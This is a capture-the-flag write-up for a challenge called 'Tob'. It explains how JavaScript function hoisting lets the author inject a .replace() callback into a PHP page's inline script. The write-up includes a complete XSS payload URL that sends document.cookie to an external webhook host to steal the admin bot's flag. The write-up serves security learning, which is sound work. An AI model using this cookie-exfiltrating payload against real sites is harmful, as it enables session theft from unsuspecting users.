# Tob

### Summary

We’ll craft a note URL that makes the page execute JavaScript **inside an inline `<script>`** where a function named `secure` is referenced. Because **JavaScript function declarations are hoisted**, we can redefine `secure` inside the same script block and slip a callable `.replace(…callback…)` that runs our code. The admin bot attaches a **readable** `flag` cookie to the app’s origin before visiting our URL, so `document.cookie` contains the prize.

### Start

On the main app. It’s a PHP page that takes `title`, `content`, and `category` from the query string, displays them, and (when `content` is present) renders a `<script>` that invokes `secure.validate(...)` with our `content` value. That’s the sink we’ll leverage.

```php
<?php if ($content): ?>
<script>
    secure.validate('remove', '<?php echo $content; ?>');
</script>
<?php endif; ?>
```

This line means our `content` is interpolated inside a **running script** on the page that also references a function named `secure`.

Before that, the app replaces only literal `<`/`>` in parameters, and then echoes them in various places. but there's a slight problem here in `secure.validate` script

\
What the engine does at that line

1. **Look up `secure`** (the “base” of the call).
   * If `secure` is **undefined**, reading `.validate` throws immediately:\
     \&#xNAN;*TypeError: Cannot read properties of undefined (reading 'validate')*.
   * When that happens, **arguments are not evaluated**, so nothing inside our argument runs.
2. **Read `secure.validate`**.
   * If `secure` exists (object or function), this property access is **safe**, even if it yields `undefined`.
3. **Evaluate the arguments (left → right).**
   * Only **now** does the engine compute our argument; if our argument is something like\
     `'<payload>'.replace(/^/, fn)`, the **callback executes here** and can exfiltrate.
4. **Invoke the callee.**
   * If `secure.validate` isn’t callable, a TypeError occurs **after** argument evaluation, so any side effects from our argument have already happened.

**So that means:** to get our argument to run at all, we must ensure `secure` **exists** at this point in the script. In the next section.

## Hoisting

before going into the challenge there's on crucial technique you should be familiar with, and that is hoisting

### What is hoisting

Before running a script, JavaScript scans the current scope and **lifts (hoists)** all **function declarations** and `var` declarations to the top of that scope. Function *declarations* become available by name throughout the scope, **even if their text appears later** in the source.

### Why it matters here:

\
The app’s script block calls `secure.validate('remove', '<OUR_CONTENT>')`. If we can smuggle our own **function declaration** named `secure` (e.g., `function secure(){}`) **into that same script block**, the engine “pins” *our* `secure` at the top. Later references to `secure` (including that call site) resolve to **our** stub. The original developer’s “real” `secure` (if any) gets shadowed.

In short: by embedding a function declaration **inside the inline script scope**, we can **rebind** what the code thinks `secure` is, without needing to close the `<script>` tag or create raw `<script>` blocks.

For instance, consider the following typical hoisting scenario:

```javascript
console.log(foo);  // Outputs: undefined
var foo = 'bar';  // name was hoisted; value set later
```

In this example, the variable **foo** is declared after it is referenced, but JavaScript doesn't throw an error because the declaration is hoisted to the top of the scope.

## Building the payload

We start from the exact sink:

```javascript
secure.validate('remove', '<USER_CONTENT>');
```

**we need to**

* **Stay inside JavaScript** (no need for `<script>` tags).
* **Execute a function** we control (via a legitimate API like `.replace(...)`).
* **Redefine `secure`** with a hoisted declaration so any later `secure.*` calls are benign.
* **Exfiltrate** via a side effect that doesn’t require DOM access (e.g., `new Image().src = "...";`).

#### The payload

```javascript
http://proxy/index.php?title=as&content='.replace(/%5E/,function()%7Breturn(new%20Image().src=%60https://webhook.site/e13dd6e8-7e6a-45a8-a5ef-c41e67405918/?c=$%7BencodeURIComponent(document.cookie)%7D&u=$%7BencodeURIComponent(location.href)%7D%60,'')%7D)%20)%20;%20function%20secure()%7B%7D%20//&category=general
```

#### Why `.replace(/^/, fn)`?

* **Always executes** once on any string (regex `^` matches the start).
* Keeps us **inside JS**;
* The callback is a **safe execution gadget** that linters rarely strip.

#### runtime&#x20;

1. The bot navigates to your URL; it already set a cookie `flag=…` with `httpOnly:false` on this origin.
2. The inline `<script>` runs. When evaluating the argument that contains your string:
   * Your string’s `.replace(/^/, fn)` **fires the callback**.
   * The callback sends a GET to your webhook with `document.cookie` and `location.href`, then returns `''`.
3. The expression closes cleanly; no syntax errors are thrown.
4. Your `function secure(){}` is parsed as a **declaration** in this same `<script>` scope, so it is **hoisted** and shadows/neutralizes any in-block use of `secure`.
5. Your webhook receives the flag in `c=...`

<figure><img src="https://2387347627-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F47EuhANOY5sIuDySBX97%2Fuploads%2FbGFYUk3yNhU40wJMjM3l%2Fimage.png?alt=media&#x26;token=4f67f2ae-685a-45e9-bf38-36c6d2202f30" alt=""><figcaption></figcaption></figure>
